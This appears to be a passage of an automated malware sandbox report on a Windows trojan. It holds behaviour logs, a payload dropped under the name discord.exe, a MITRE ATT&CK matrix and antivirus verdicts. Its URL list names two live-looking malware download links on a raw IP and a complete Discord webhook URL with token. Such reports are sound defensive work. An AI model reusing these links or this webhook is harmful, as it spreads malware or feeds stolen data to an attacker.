Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	1 Services File Permissions Weakness	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Services File Permissions Weakness	1 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	12 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	15 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Services File Permissions Weakness	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Timestomp	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
S3zoj9Uts0.exe	29%	ReversingLabs	Win32.Trojan.Generic
S3zoj9Uts0.exe	32%	Virustotal		Browse
S3zoj9Uts0.exe	100%	Avira	HEUR/AGEN.1217604
S3zoj9Uts0.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	100%	Avira	HEUR/AGEN.1217604
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	29%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.S3zoj9Uts0.exe.1d0000.0.unpack	100%	Avira	HEUR/AGEN.1217604		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/8	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/.	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl	0%	URL Reputation	safe
http://bugreport.sun.com/bugreport/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/J	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/C	0%	URL Reputation	safe
http://www.fontbureau.come.com	0%	URL Reputation	safe
http://23.94.99.1194	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html	0%	URL Reputation	safe
https://canary.discord.com/api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0/	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://www.founder.com.cn/cn2	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/h	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/d	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/C	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/.	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html7	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://23.94.99.119/discord.jar	100%	Avira URL Cloud	malware
http://policy.camerfirma.comS	0%	Avira URL Cloud	safe
http://www.sakkal.comin	0%	Avira URL Cloud	safe
http://23.94.99.119/discord.exe	100%	Avira URL Cloud	malware
http://www.sakkal.comd	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html#	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crlk3G	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
https://canary.discord.com/api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwX	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://en.wikipedia.Xs	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/X	0%	URL Reputation	safe
http://www.chambersign.org	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/o	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl3N?	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.comce	0%	URL Reputation	safe
